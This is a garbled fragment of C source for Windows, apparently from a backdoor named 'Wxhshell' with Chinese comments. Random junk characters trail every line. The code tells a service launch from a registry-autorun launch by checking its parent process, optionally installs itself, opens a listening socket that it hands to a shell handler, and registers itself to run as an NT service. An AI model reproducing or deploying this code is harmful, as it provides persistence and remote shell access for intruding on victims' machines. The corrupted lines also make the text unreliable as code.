DWORD AffinityMask; wTc)S6%7
DWORD BasePriority; j:,9%tg
ULONG UniqueProcessId; 91Z'
ULONG InheritedFromUniqueProcessId; Vzg=@A#
} PROCESS_BASIC_INFORMATION; O_~7Glu
Yh<WA>=
PROCNTQSIP NtQueryInformationProcess; -_N)E ))G
;9a 6pz<
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,$lemH1d
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i=S~(gp
vB0RKk}d5
HANDLE hProcess; L] %l51U
PROCESS_BASIC_INFORMATION pbi; `3 cCH
uLR<FpM
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vB'>[jvA|
if(NULL == hInst ) return 0; 6 %Mt
12UD19!
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m Y,|J\w@
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v,@F|c?_S
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?-)I+EAnE
Na{Y}0=^y
if (!NtQueryInformationProcess) return 0; jgv`>o%<W
>ut" OL9J
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }baR5v
if(!hProcess) return 0; UL$}{2N,_
j<<3Pr
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `G9 l
tc+WWDP#"
CloseHandle(hProcess); nh+l78
3uWkc3
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4?\:{1X=
if(hProcess==NULL) return 0; 49H+(*@v@
!69&Ld
HMODULE hMod; zi@]83SS#
char procName[255]; &7e)O=
unsigned long cbNeeded; qet>1<
8^/I>0EZ
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sgUud_r)4
*ISZlR\#
CloseHandle(hProcess); !]yO^Ob.E
KngTc(^_D
if(strstr(procName,"services")) return 1; // 以服务启动 942lSyix
mHc>"^R
return 0; // 注册表启动 FS6`6M.K
} as yZe
{i0SS
// 主模块 q? qC
int StartWxhshell(LPSTR lpCmdLine) H,unpZ(
{ I#F!N6;
SOCKET wsl; #DU26nCL
BOOL val=TRUE; GzXUU@p
int port=0; ^!<dgBNj
struct sockaddr_in door; H,3\0BKk
OJ|r6
if(wscfg.ws_autoins) Install(); :}8Z@H!KkY
,l YE
port=atoi(lpCmdLine); W!Hm~9fz
^&@w$
if(port<=0) port=wscfg.ws_port; >@xrs
EP'h@zdz
WSADATA data; @hQlrq5c
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q/uwQo/
Z;Ez"t&U
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &s Pq<l o
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z>c3
door.sin_family = AF_INET; lGwl1,=
door.sin_addr.s_addr = inet_addr("127.0.0.1"); RqEH|EUZ
door.sin_port = htons(port); gI^oU4mq
kft#R#m
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %,Sf1fUJ
closesocket(wsl); 3s\.cG?`r
return 1; 3$.deYa$R
} 0R{dNyh{
('wY9kvL&
if(listen(wsl,2) == INVALID_SOCKET) { 3vhnwDcK
closesocket(wsl); "k*PA\U
return 1; gVQjL+_W
} CYYkzcc^
Wxhshell(wsl); `ps)0!L
L`
WSACleanup(); uH/w\v_I
Y}#h5\
return 0; FuI73
*f&EoUk}F
} {!6/x9>
ku$$ 1xq
// 以NT服务方式启动 Ya>oCr}K
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Gj"7s8(/K|
{ t!*+8Q!e
DWORD status = 0; d\x7Zw>
DWORD specificError = 0xfffffff; BdlVabQyKW
7K)6^r^
serviceStatus.dwServiceType = SERVICE_WIN32; mxb(<9O
serviceStatus.dwCurrentState = SERVICE_START_PENDING; g?-lk5
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |f~@8|MQP+
serviceStatus.dwWin32ExitCode = 0; 3)-/`iy#
serviceStatus.dwServiceSpecificExitCode = 0; j83p)ido
serviceStatus.dwCheckPoint = 0; I}Nd$P)>
serviceStatus.dwWaitHint = 0; _ZY)M
hX`}Q4(k
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C<KrMRWh^
if (hServiceStatusHandle==0) return; (Yp+bS(PU*
%K(<$!
status = GetLastError(); pw7[y^[Qg
if (status!=NO_ERROR) TIp:FW[
{ -@T/b$]'n
serviceStatus.dwCurrentState = SERVICE_STOPPED; zSo)k~&[3
serviceStatus.dwCheckPoint = 0; Q+4Xs.#
serviceStatus.dwWaitHint = 0; kOIt(e
serviceStatus.dwWin32ExitCode = status; _g1b{$
serviceStatus.dwServiceSpecificExitCode = specificError; r.4LU
SetServiceStatus(hServiceStatusHandle, &serviceStatus); !r#?C9Sq
return; -S3MH1TZ
} M\yT).>z
Neg,qOt
serviceStatus.dwCurrentState = SERVICE_RUNNING; !9Aaj<yxm
serviceStatus.dwCheckPoint = 0; T&Lb<'f
serviceStatus.dwWaitHint = 0; sB;@>NY
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8_T6_jL<
} !\&